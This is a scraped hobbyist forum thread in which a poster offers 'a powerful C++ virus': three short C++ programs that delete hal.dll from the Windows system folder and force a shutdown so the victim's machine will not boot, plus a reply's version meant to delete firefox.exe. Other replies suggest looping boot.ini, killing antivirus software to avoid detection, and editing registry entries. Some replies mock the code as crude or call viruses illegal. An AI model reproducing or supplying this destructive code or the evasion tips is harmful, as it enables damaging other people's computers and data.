• Log in or sign up for an account here: https://www.sythe.org/login

Powerful C++ Virus

Status
Not open for further replies.

SidStudios

Active Member
Joined
Mar 14, 2007
Sythe Gold
0
Messages
201
This is a powerful C++ virus that I have made, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.
The Original Code:
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

NEW: SVXX's Version of this virus that uses Batch for most of its commands:
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}
The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.
shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.
 
never to start again eh? so i guess formating the drive and reinstalling would be out of the question? and really try moding boot.ini to continuously loop at booting so they think they can fix it and cause more frustration if thats your goal here
 
Le Monkey
PHP Shit Show 2k26
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
Yeah, because it's impossible to restore that from the Recovery Console.
:rolleyes:
 
Hehe, I like how it has "pause" at the end... like it matters after shut down. ;)
Anyhow, this is lazy. My system folder isn't in the C:\ drive. So you should retrieve the system path first.
 
i gut a more annoying virus delete firefox.exe if you do that to every comp the world would as we know would end (only for pros who use firefox)

also for deleting hal i have another hd and i made a backup of many system files on it (it runs pirated vista and ubuntu) but my mom and dad wont let me use it because they know its illegle but i can easily fix the error if u give me it i could also fix the firefox.exe

heres firefox delete code (im not testing this)

Code:
 #include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\program_files\mozilla_firefox\firefox.exel"); //PWNAGE TIME
}
 
who i think ima not gonna use this on my own pc lol, pretty good:P:P
 
Le Monkey
PHP Shit Show 2k26
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
i gut a more annoying virus delete firefox.exe if you do that to every comp the world would as we know would end (only for pros who use firefox)

also for deleting hal i have another hd and i made a backup of many system files on it (it runs pirated vista and ubuntu) but my mom and dad wont let me use it because they know its illegle but i can easily fix the error if u give me it i could also fix the firefox.exe

heres firefox delete code (im not testing this)

Code:
 #include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\program_files\mozilla_firefox\firefox.exel"); //PWNAGE TIME
}
That is a very crude "virus". First of all, the default location of Firefox.exe is %programfiles%\Mozilla Firefox\firefox.exe.

There aren't underscores in the Program Files and Mozilla Firefox directories.

Deleting firefox won't do any harm since the user could just use IE (unless they're iamaminer and deleted it :D ) and download Firefox again.
 
Viruses isn't allowed and are illegal.

I don't think the people here will distribute it to others. And, even people who are evil enough to will not have the knowledge on how to compile these C++ apps :O

And, I think most of us know that virii are illegal.

To I_own_most:
Firefox's exe file is firefox.exe not firefox.exel :p
 
I don't think the people here will distribute it to others. And, even people who are evil enough to will not have the knowledge on how to compile these C++ apps :O

And, I think most of us know that virii are illegal.

To I_own_most:
Firefox's exe file is firefox.exe not firefox.exel :p

Hmmm, I'm definately evil enough to distribute it to others (To those I think deserve it) and I definately know how to compile it.
Code:
g++ -o virius -g -Wall virus.cpp
:D

Anyway, I wouldn't distribute that virius... It's not really that cool. I'm on a mission to create a viri that changes the 'start' menue to a 'fuck' menue. Mostly for purposes of displaying such a 'vulgar and disgusting' word such that to my Grandmother.

Also, when claiming something is a powerful virius, make sure it is. I'm not sure if this would be picked up by Virius Scanners, but you would need to have root access (Administrator) for this to work. Also, it doesn't spread or do anything remotely interesting.

Just my two cents. Nice work though, if you keep trying I'm sure you'll be able to make a megaworm in a few years.
 
Hmmm, I'm definately evil enough to distribute it to others (To those I think deserve it) and I definately know how to compile it.
Code:
g++ -o virius -g -Wall virus.cpp
:D

Anyway, I wouldn't distribute that virius... It's not really that cool. I'm on a mission to create a viri that changes the 'start' menue to a 'fuck' menue. Mostly for purposes of displaying such a 'vulgar and disgusting' word such that to my Grandmother.

Also, when claiming something is a powerful virius, make sure it is. I'm not sure if this would be picked up by Virius Scanners, but you would need to have root access (Administrator) for this to work. Also, it doesn't spread or do anything remotely interesting.

Just my two cents. Nice work though, if you keep trying I'm sure you'll be able to make a megaworm in a few years.

A tip on that: You could probably achieve the "Fuck" in the start menu by getting the C++ program to edit the reg entries. That's a damn nice idea! I just might try it out myself!
 
Yeah, it'll be something silly like that. I just can't see 'cause I have no box with Windows installed which kinda makes it hard.
 
Yeah, it'll be something silly like that. I just can't see 'cause I have no box with Windows installed which kinda makes it hard.

Which OS do you have?
 
Member of the Month Winner
Sythe's 10th Anniversary
Obviously Linux, Solaris, or Mac. My guess is Linux.
My choice of OS would come in the following order: Mac, Linux, Solaris, Windows. You notice that Windows is on the end? You notice how Windows isn't built on even a tiny Unix frame? Funny that ...

*nix for the win!
 
im guessing that michael has a linux box and....

Also, when claiming something is a powerful virius, make sure it is. I'm not sure if this would be picked up by Virius Scanners, but you would need to have root access (Administrator) for this to work. Also, it doesn't spread or do anything remotely interesting.

most av's wouldnt pick that up unless they specifically monitor that file or the program included some commonly used api calls etc that an av might pick up on as "malicious activity"
 
im guessing that michael has a linux box and....



most av's wouldnt pick that up unless they specifically monitor that file or the program included some commonly used api calls etc that an av might pick up on as "malicious activity"

That won't happen if:
a) It first restarts the computer in safe mode and then the program starts,
b) If we pwn the antivirus first by killing it

For a linux box you can use crossover office, it lets you run windows on linux. Or, you can use Cedega. Now, if you do not support warez, I can't help you :o
 
Obviously Linux, Solaris, or Mac. My guess is Linux.
My choice of OS would come in the following order: Mac, Linux, Solaris, Windows. You notice that Windows is on the end? You notice how Windows isn't built on even a tiny Unix frame? Funny that ...

*nix for the win!

Mine would be Windows, Mac, Linux, and Solaris

Why?

Because you can't do jack shit on a linux box without Crossover office. Macromedia hasn't created a version of Flash 8 for Linux, or, for that matter, they haven't created anything from their Macromedia Studio 8 line of products for linux.

And, what's so good about running on a Unix frame?
I agree that KDE is 1000000000x faster than the crappy windows alternative.

I used to have Ubuntu on this computer. Then, I installed openSuSE.
Loved it, except you couldn't do anything on it. Even the bittorrent clients sucked.
That's why I downloaded and installed Windows XP Pro on this computer.
 
Status
Not open for further replies.
duelarena.gg
Back
Top